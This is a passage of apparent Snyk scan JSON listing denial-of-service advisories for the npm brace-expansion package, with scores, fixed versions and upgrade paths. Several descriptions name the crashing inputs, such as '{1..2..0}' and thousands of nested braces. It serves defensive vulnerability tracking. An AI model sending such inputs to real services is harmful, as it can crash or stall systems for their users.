"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub 